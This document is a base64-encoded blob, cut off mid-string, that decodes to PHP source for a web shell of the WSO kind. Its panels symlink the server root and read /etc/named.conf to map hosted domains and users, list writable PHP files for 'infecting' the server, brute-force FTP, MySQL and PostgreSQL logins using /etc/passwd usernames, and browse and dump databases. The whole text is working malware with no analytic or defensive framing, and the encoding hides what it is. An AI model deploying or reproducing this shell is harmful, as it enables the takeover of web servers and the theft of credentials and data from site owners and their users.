IFN1aWNpZGUgZW5kIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uVG9vbHMoKSB7CglwcmludEhlYWRlcigpOwoJCgkJcHJpbnRGb290ZXIoKTsKfQovLyBEb21haW5zIGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uRG9tYWlucygpIHsKCXByaW50SGVhZGVyKCk7CgllcnJvcl9yZXBvcnRpbmcoMCk7CmVjaG8gIjx0aXRsZT4jRG9tYWlucyAmIFVzZXJzPC90aXRsZT4iOwpta2Rpcigic3ltIik7CnN5bWxpbmsoIi8iLCIwL3gudHh0Iik7CiRjICA9ICJPcHRpb25zIEluZGV4ZXMgRm9sbG93U3ltTGlua3MgXG4gRGlyZWN0b3J5SW5kZXggc3Nzc3NzLmh0bSBcbiBBZGRUeXBlIHR4dCAucGhwIFxuIEFkZEhhbmRsZXIgdHh0IC5waHAgXG4gIEFkZFR5cGUgdHh0IC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIE9wdGlvbnMgYWxsIFxuIE9wdGlvbnMgXG4gQWxsb3cgZnJvbSBhbGwgXG4gUmVxdWlyZSBOb25lIFxuIFNhdGlzZnkgQW55IjsKJGYgPSBmb3BlbiAoJ3N5bS8uaHRhY2Nlc3MnLCd3Jyk7CiBmd3JpdGUoJGYgLCAkYyk7CiAKJGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZDBtYWlucyl7IGRpZSgiPGI+I0Vycm9yLi4uIC0+IFsgL2V0Yy9uYW1lZC5jb25mIF0iKTsgfQplY2hvICI8dGFibGUgYWxpZ249Y2VudGVyIGJvcmRlcj0xPgo8dHIgYmdjb2xvcj10ZWFsPjx0ZD5Eb21haW48L3RkPjx0ZD5Vc2VyIExpc3QgPC90ZD48dGQ+U3ltbGluazwvdGQ+PC90cj4iOwpmb3JlYWNoKCRkMG1haW5zIGFzICRkMG1haW4pewppZihlcmVnaSgiem9uZSIsJGQwbWFpbikpewpwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKZmx1c2goKTsKaWYoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpewokdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpOwplY2hvICI8dHI+PHRkPjxhIGhyZWY9aHR0cDovL3d3dy4iLiRkb21haW5zWzFdWzBdLiIvPiIuJGRvbWFpbnNbMV1bMF0uIjwvYT48L3RkPjx0ZD4iLiR1c2VyWyduYW1lJ10uIjwvdGQ+PHRkPjxhIGhyZWY9J3N5bS94LnR4dC9ob21lLyIuJHVzZXJbJ25hbWUnXS4iL3B1YmxpY19odG1sJz5NaXJlbW9zPC9hPjwvdGQ+PC90cj4iOyBmbHVzaCgpOwp9fX0KZWNobyAiPC90YWJsZT4gCjxwIGFsaWduPSdjZW50ZXInPiAKRmFpbFJvb3QnQ29kM3J6IDxhIGhyZWY9J2h0dHA6Ly9mYWlscm9vdC53b3JkcHJlc3MuY29tLyc+RmFpbFJvb3QtU2VjLkNvbTwvYT4gfCA8YSAgCmhyZWY9J2h0dHA6Ly93V3cuc0VjNEV2RXIuQ29NLyc+d1d3LnNFYzRFdkVyLkNvTTwvYT48YnI+IAo8L3A+IAoiOyAKCXByaW50Rm9vdGVyKCk7Cn0KLy8gRG9tYWlucyBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gSW5mZWN0IGdvIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KZnVuY3Rpb24gYWN0aW9uSW5mZWN0KCkgewoJcHJpbnRIZWFkZXIoKTsKCWVjaG8gJzxoMT5JbmZlY3Q8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4nOwoJaWYoJF9QT1NUWydwMSddID09ICdpbmZlY3QnKSB7CgkJJHRhcmdldD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwoJCQlmdW5jdGlvbiBMaXN0RmlsZXMoJGRpcikgewoJCQkJaWYoJGRoID0gb3BlbmRpcigkZGlyKSkgewoJCQkJCSRmaWxlcyA9IEFycmF5KCk7CgkJCQkJJGlubmVyX2ZpbGVzID0gQXJyYXkoKTsKCQkJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoJGRoKSkgewoJCQkJCQlpZigkZmlsZSAhPSAiLiIgJiYgJGZpbGUgIT0gIi4uIikgewoJCQkJCQkJaWYoaXNfZGlyKCRkaXIgLiAiLyIgLiAkZmlsZSkpIHsKCQkJCQkJCQkkaW5uZXJfZmlsZXMgPSBMaXN0RmlsZXMoJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCQlpZihpc19hcnJheSgkaW5uZXJfZmlsZXMpKSAkZmlsZXMgPSBhcnJheV9tZXJnZSgkZmlsZXMsICRpbm5lcl9maWxlcyk7IAoJCQkJCQkJfSBlbHNlIHsKCQkJCQkJCQlhcnJheV9wdXNoKCRmaWxlcywgJGRpciAuICIvIiAuICRmaWxlKTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCX0KCQkJCQljbG9zZWRpcigkZGgpOwoJCQkJCXJldHVybiAkZmlsZXM7CgkJCQl9CgkJCX0KCQkJZm9yZWFjaCAoTGlzdEZpbGVzKCR0YXJnZXQpIGFzICRrZXk9PiRmaWxlKXsKCQkJCSRuRmlsZSA9IHN1YnN0cigkZmlsZSwgLTQsIDQpOwoJCQkJaWYoJG5GaWxlID09ICIucGhwIiApewoJCQkJCWlmKCgkZmlsZTw+JF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4kX1NFUlZFUlsnUEhQX1NFTEYnXSkmJihpc193cml0ZWFibGUoJGZpbGUpKSl7CgkJCQkJCWVjaG8gIiRmaWxlPGJyPiI7CgkJCQkJCSRpKys7CgkJCQkJfQoJCQkJfQoJCQl9CgkJCWVjaG8gIjxmb250IGNvbG9yPXJlZCBzaXplPTE0PiRpPC9mb250PiI7CgkJfWVsc2V7CgkJCWVjaG8gIjxmb3JtIG1ldGhvZD1wb3N0PjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1JbmZlY3QgbmFtZT1pbmZldD48L2Zvcm0+IjsKCQkJZWNobyAnUmVhbGx5IHdhbnQgdG8gaW5mZWN0IHRoZSBzZXJ2ZXI/Jm5ic3A7PGEgaHJlZj0jIG9uY2xpY2s9ImcobnVsbCxudWxsLFwnaW5mZWN0XCcpIj5ZZXM8L2E+PC9kaXY+JzsKCQl9CglwcmludEZvb3RlcigpOwp9Ci8vIEluZmVjdCBlbmQgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KLy8gQnJ1dGVmb3JjZSBnbyAtLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25CcnV0ZWZvcmNlKCkgewoJcHJpbnRIZWFkZXIoKTsKCWlmKCBpc3NldCgkX1BPU1RbJ3Byb3RvJ10pICkgewoJCWVjaG8gJzxoMT5SZXN1bHRzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNwYW4+VHlwZTo8L3NwYW4+ICcuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3Byb3RvJ10pLicgPHNwYW4+U2VydmVyOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc2VydmVyJ10pLic8YnI+JzsKCQlpZiggJF9QT1NUWydwcm90byddID09ICdmdHAnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRmcCA9IEBmdHBfY29ubmVjdCgkaXAsICRwb3J0PyRwb3J0OjIxKTsKCQkJCWlmKCEkZnApIHJldHVybiBmYWxzZTsKCQkJCSRyZXMgPSBAZnRwX2xvZ2luKCRmcCwgJGxvZ2luLCAkcGFzcyk7CgkJCQlAZnRwX2Nsb3NlKCRmcCk7CgkJCQlyZXR1cm4gJHJlczsKCQkJfQoJCX0gZWxzZWlmKCAkX1BPU1RbJ3Byb3RvJ10gPT0gJ215c3FsJyApIHsKCQkJZnVuY3Rpb24gYnJ1dGVGb3JjZSgkaXAsJHBvcnQsJGxvZ2luLCRwYXNzKSB7CgkJCQkkcmVzID0gQG15c3FsX2Nvbm5lY3QoJGlwLic6Jy4kcG9ydD8kcG9ydDozMzA2LCAkbG9naW4sICRwYXNzKTsKCQkJCUBteXNxbF9jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfSBlbHNlaWYoICRfUE9TVFsncHJvdG8nXSA9PSAncGdzcWwnICkgewoJCQlmdW5jdGlvbiBicnV0ZUZvcmNlKCRpcCwkcG9ydCwkbG9naW4sJHBhc3MpIHsKCQkJCSRzdHIgPSAiaG9zdD0nIi4kaXAuIicgcG9ydD0nIi4kcG9ydC4iJyB1c2VyPSciLiRsb2dpbi4iJyBwYXNzd29yZD0nIi4kcGFzcy4iJyBkYm5hbWU9JyciOwoJCQkJJHJlcyA9IEBwZ19jb25uZWN0KCRzZXJ2ZXJbMF0uJzonLiRzZXJ2ZXJbMV0/JHNlcnZlclsxXTo1NDMyLCAkbG9naW4sICRwYXNzKTsKCQkJCUBwZ19jbG9zZSgkcmVzKTsKCQkJCXJldHVybiAkcmVzOwoJCQl9CgkJfQoJCSRzdWNjZXNzID0gMDsKCQkkYXR0ZW1wdHMgPSAwOwoJCSRzZXJ2ZXIgPSBleHBsb2RlKCI6IiwgJF9QT1NUWydzZXJ2ZXInXSk7CgkJaWYoJF9QT1NUWyd0eXBlJ10gPT0gMSkgewoJCQkkdGVtcCA9IEBmaWxlKCcvZXRjL3Bhc3N3ZCcpOwoJCQlpZiggaXNfYXJyYXkoJHRlbXApICkKCQkJCWZvcmVhY2goJHRlbXAgYXMgJGxpbmUpIHsKCQkJCQkkbGluZSA9IGV4cGxvZGUoIjoiLCAkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIGJydXRlRm9yY2UoQCRzZXJ2ZXJbMF0sQCRzZXJ2ZXJbMV0sICRsaW5lWzBdLCAkbGluZVswXSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCRsaW5lWzBdKS4nPGJyPic7CgkJCQkJfQoJCQkJCWlmKEAkX1BPU1RbJ3JldmVyc2UnXSkgewoJCQkJCQkkdG1wID0gIiI7CgkJCQkJCWZvcigkaT1zdHJsZW4oJGxpbmVbMF0pLTE7ICRpPj0wOyAtLSRpKQoJCQkJCQkJJHRtcCAuPSAkbGluZVswXVskaV07CgkJCQkJCSsrJGF0dGVtcHRzOwoJCQkJCQlpZiggYnJ1dGVGb3JjZShAJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJGxpbmVbMF0sICR0bXApICkgewoJCQkJCQkJJHN1Y2Nlc3MrKzsKCQkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkbGluZVswXSkuJzwvYj46Jy5odG1sc3BlY2lhbGNoYXJzKCR0bXApOwoJCQkJCQl9CgkJCQkJfQoJCQkJfQoJCX0gZWxzZWlmKCRfUE9TVFsndHlwZSddID09IDIpIHsKCQkJJHRlbXAgPSBAZmlsZSgkX1BPU1RbJ2RpY3QnXSk7CgkJCWlmKCBpc19hcnJheSgkdGVtcCkgKQoJCQkJZm9yZWFjaCgkdGVtcCBhcyAkbGluZSkgewoJCQkJCSRsaW5lID0gdHJpbSgkbGluZSk7CgkJCQkJKyskYXR0ZW1wdHM7CgkJCQkJaWYoIGJydXRlRm9yY2UoJHNlcnZlclswXSxAJHNlcnZlclsxXSwgJF9QT1NUWydsb2dpbiddLCAkbGluZSkgKSB7CgkJCQkJCSRzdWNjZXNzKys7CgkJCQkJCWVjaG8gJzxiPicuaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ2xvZ2luJ10pLic8L2I+OicuaHRtbHNwZWNpYWxjaGFycygkbGluZSkuJzxicj4nOwoJCQkJCX0KCQkJCX0KCQl9CgkJZWNobyAiPHNwYW4+QXR0ZW1wdHM6PC9zcGFuPiAkYXR0ZW1wdHMgPHNwYW4+U3VjY2Vzczo8L3NwYW4+ICRzdWNjZXNzPC9kaXY+PGJyPiI7Cgl9CgllY2hvICc8aDE+RlRQIGJydXRlZm9yY2U8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48dGFibGU+PGZvcm0gbWV0aG9kPXBvc3Q+PHRyPjx0ZD48c3Bhbj5UeXBlPC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxzZWxlY3QgbmFtZT1wcm90bz48b3B0aW9uIHZhbHVlPWZ0cD5GVFA8L29wdGlvbj48b3B0aW9uIHZhbHVlPW15c3FsPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1wZ3NxbD5Qb3N0Z3JlU3FsPC9vcHRpb24+PC9zZWxlY3Q+PC90ZD48L3RyPjx0cj48dGQ+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+JwoJCS4nPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnYSddKS4nIj4nCgkJLic8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydjaGFyc2V0J10pLiciPicKCQkuJzxzcGFuPlNlcnZlcjpwb3J0PC9zcGFuPjwvdGQ+JwoJCS4nPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zZXJ2ZXIgdmFsdWU9IjEyNy4wLjAuMSI+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PHNwYW4+QnJ1dGUgdHlwZTwvc3Bhbj48L3RkPicKCQkuJzx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIxIiBjaGVja2VkPiAvZXRjL3Bhc3N3ZDwvbGFiZWw+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PC90ZD48dGQ+PGxhYmVsIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1yZXZlcnNlIHZhbHVlPTEgY2hlY2tlZD4gcmV2ZXJzZSAobG9naW4gLT4gbmlnb2wpPC9sYWJlbD48L3RkPjwvdHI+JwoJCS4nPHRyPjx0ZD48L3RkPjx0ZD48bGFiZWw+PGlucHV0IHR5cGU9cmFkaW8gbmFtZT10eXBlIHZhbHVlPSIyIj4gRGljdGlvbmFyeTwvbGFiZWw+PC90ZD48L3RyPicKCQkuJzx0cj48dGQ+PC90ZD48dGQ+PHRhYmxlIHN0eWxlPSJwYWRkaW5nLWxlZnQ6MTVweCI+PHRyPjx0ZD48c3Bhbj5Mb2dpbjwvc3Bhbj48L3RkPicKCQkuJzx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bG9naW4gdmFsdWU9InJvb3QiPjwvdGQ+PC90cj4nCgkJLic8dHI+PHRkPjxzcGFuPkRpY3Rpb25hcnk8L3NwYW4+PC90ZD4nCgkJLic8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPWRpY3QgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLidwYXNzd2QuZGljIj48L3RkPjwvdHI+PC90YWJsZT4nCgkJLic8L3RkPjwvdHI+PHRyPjx0ZD48L3RkPjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPjwvdHI+PC9mb3JtPjwvdGFibGU+JzsKCWVjaG8gJzwvZGl2Pjxicj4nOwoJcHJpbnRGb290ZXIoKTsKfQovLyBCcnV0ZWZvcmNlIGVuZCAtLS0tLS0tLS0tLS0tLS0tLS0tLQovLyBTcWwgZ28gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQpmdW5jdGlvbiBhY3Rpb25TcWwoKSB7CgljbGFzcyBEYkNsYXNzIHsKCQl2YXIgJHR5cGU7CgkJdmFyICRsaW5rOwoJCXZhciAkcmVzOwoJCWZ1bmN0aW9uIERiQ2xhc3MoJHR5cGUpCXsKCQkJJHRoaXMtPnR5cGUgPSAkdHlwZTsKCQl9CgkJZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsKCQkJc3dpdGNoKCR0aGlzLT50eXBlKQl7CgkJCQljYXNlICdteXNxbCc6CgkJCQkJaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsKCQkJCQlicmVhazsKCQkJCWNhc2UgJ3Bnc3FsJzoKCQkJCQkkaG9zdCA9IGV4cGxvZGUoJzonLCAkaG9zdCk7CgkJCQkJaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOwoJCQkJCWlmKCAkdGhpcy0+bGluayA9IEBwZ19jb25uZWN0KCJob3N0PXskaG9zdFswXX0gcG9ydD17JGhvc3RbMV19IHVzZXI9JHVzZXIgcGFzc3dvcmQ9JHBhc3MgZGJuYW1lPSRkYm5hbWUiKSApIHJldHVybiB0cnVlOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gc2VsZWN0ZGIoJGRiKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCWlmIChAbXlzcWxfc2VsZWN0X2RiKCRkYikpcmV0dXJuIHRydWU7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBxdWVyeSgkc3RyKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkgewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQHBnX3F1ZXJ5KCR0aGlzLT5saW5rLCRzdHIpOwoJCQkJCWJyZWFrOwoJCQl9CgkJCXJldHVybiBmYWxzZTsKCQl9CgkJZnVuY3Rpb24gZmV0Y2goKSB7CgkJCSRyZXMgPSBmdW5jX251bV9hcmdzKCk/ZnVuY19nZXRfYXJnKDApOiR0aGlzLT5yZXM7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiBAbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcyk7CgkJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuIEBwZ19mZXRjaF9hc3NvYygkcmVzKTsKCQkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGxpc3REYnMoKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX2xpc3RfZGJzKCR0aGlzLT5saW5rKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJTRUxFQ1QgZGF0bmFtZSBGUk9NIHBnX2RhdGFiYXNlIik7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGxpc3RUYWJsZXMoKSB7CgkJCXN3aXRjaCgkdGhpcy0+dHlwZSkJewoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIFRBQkxFUycpOwoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoInNlbGVjdCB0YWJsZV9uYW1lIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSAodGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnKSBvciB0YWJsZV9uYW1lID0gJ3BnX3VzZXInIik7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIGVycm9yKCkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlyZXR1cm4gQG15c3FsX2Vycm9yKCR0aGlzLT5saW5rKTsKCQkJCWJyZWFrOwoJCQkJY2FzZSAncGdzcWwnOgoJCQkJCXJldHVybiBAcGdfbGFzdF9lcnJvcigkdGhpcy0+bGluayk7CgkJCQlicmVhazsKCQkJfQoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCWZ1bmN0aW9uIHNldENoYXJzZXQoJHN0cikgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQlpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX3NldF9jaGFyc2V0JykpCgkJCQkJCXJldHVybiBAbXlzcWxfc2V0X2NoYXJzZXQoJHN0ciwgJHRoaXMtPmxpbmspOwoJCQkJCWVsc2UKCQkJCQkJJHRoaXMtPnF1ZXJ5KCdTRVQgQ0hBUlNFVCAnLiRzdHIpOwoJCQkJCWJyZWFrOwoJCQkJY2FzZSAnbXlzcWwnOgoJCQkJCXJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7CgkJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlmdW5jdGlvbiBkdW1wKCR0YWJsZSkgewoJCQlzd2l0Y2goJHRoaXMtPnR5cGUpCXsKCQkJCWNhc2UgJ215c3FsJzoKCQkJCQkkcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsKCQkJCQkkY3JlYXRlID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlcyk7CgkJCQkJZWNobyAkY3JlYXRlWzFdLiI7XG5cbiI7CgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOwoJCQkJCXdoaWxlKCRpdGVtID0gJHRoaXMtPmZldGNoKCkpIHsKCQkJCQkJJGNvbHVtbnMgPSBhcnJheSgpOwoJCQkJCQlmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgewoJCQkJCQkJJGl0ZW1bJGtdID0gIiciLkBteXNxbF9yZWFsX2VzY2FwZV9zdHJpbmcoJHYpLiInIjsKCQkJCQkJCSRjb2x1bW5zW10gPSAiYCIuJGsuImAiOwoJCQkJCQl9CgkJCQkJZWNobyAnSU5TRVJUIElOVE8gYCcuJHRhYmxlLidgICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCQljYXNlICdwZ3NxbCc6CgkJCQkJJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NICcuJHRhYmxlKTsKCQkJCQl3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7CgkJCQkJCSRjb2x1bW5zID0gYXJyYXkoKTsKCQkJCQkJZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsKCQkJCQkJCSRpdGVtWyRrXSA9ICInIi5hZGRzbGFzaGVzKCR2KS4iJyI7CgkJCQkJCQkkY29sdW1uc1tdID0gJGs7CgkJCQkJCX0KCQkJCQllY2hvICdJTlNFUlQgSU5UTyAnLiR0YWJsZS4nICgnLmltcGxvZGUoIiwgIiwgJGNvbHVtbnMpLicpIFZBTFVFUyAoJy5pbXBsb2RlKCIsICIsICRpdGVtKS4nKTsnLiJcbiI7CgkJCQkJfQoJCQkJYnJlYWs7CgkJCX0KCQkJcmV0dXJuIGZhbHNlOwoJCX0KCX07CgkkZGIgPSBuZXcgRGJDbGFzcygkX1BPU1RbJ3R5cGUnXSk7CglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CgkJb2Jfc3RhcnQoIm9iX2d6aGFuZGxlciIsIDQwOTYpOwoJCSRkYi0+Y29ubmVjdCgkX1BPU1RbJ3NxbF9ob3N0J10sICRfUE9TVFsnc3FsX2xvZ2luJ10sICRfUE9TVFsnc3FsX3Bhc3MnXSwgJF9QT1NUWydzcWxfYmFzZSddKTsKCQkkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7CgkJaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT1kdW1wLnNxbCIpOwoJCWhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7CgkJZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQoJCQkJJGRiLT5kdW1wKCR2KTsKCQlleGl0OwoJfQoJcHJpbnRIZWFkZXIoKTsKCT8+Cgk8aDE+U3FsIGJyb3dzZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4KCTxmb3JtIG5hbWU9InNmIiBtZXRob2Q9InBvc3QiPgoJCTx0YWJsZSBjZWxscGFkZGluZz0iMiIgY2VsbHNwYWNpbmc9IjAiPgoJCQk8dHI+CgkJCQk8dGQ+VHlwZTwvdGQ+CgkJCQk8dGQ+SG9zdDwvdGQ+CgkJCQk8dGQ+TG9naW48L3RkPgoJCQkJPHRkPlBhc3N3b3JkPC90ZD4KCQkJCTx0ZD5EYXRhYmFzZTwvdGQ+CgkJCQk8dGQ+PC90ZD4KCQkJPC90cj4KCQkJPHRyPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT1TcWw+CgkJCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0ncXVlcnknPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDI+CgkJCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSc8Pz1odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSk7Pz4nPgoJCQkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nPD89aXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnPz4nPgoJCQkJPHRkPgoJCQkJCTxzZWxlY3QgbmFtZT0ndHlwZSc+CgkJCQkJCTxvcHRpb24gdmFsdWU9Im15c3FsIiA8P3BocCBpZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOz8+Pk15U3FsPC9vcHRpb24+CgkJCQkJCTxvcHRpb24gdmFsdWU9InBnc3FsIiA8P3BocCBpZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOz8+PlBvc3RncmVTcWw8L29wdGlvbj4KCQkJCQk8L3NlbGVjdD48L3RkPgoJCQkJPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKTs/Pic+PC90ZD4KCQkJCTx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSc8Pz0oZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/J3Jvb3QnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSkpOz8+Jz48L3RkPgoJCQkJPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfcGFzcyB2YWx1ZT0nPD89KGVtcHR5KCRfUE9TVFsnc3FsX3Bhc3MnXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9wYXNzJ10pKTs/Pic+PC90ZD4KCQkJCTx0ZD4KCTw/cGhwCgkkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOwoJaWYoaXNzZXQoJF9QT1NUWydzcWxfaG9zdCddKSl7CgkJaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwg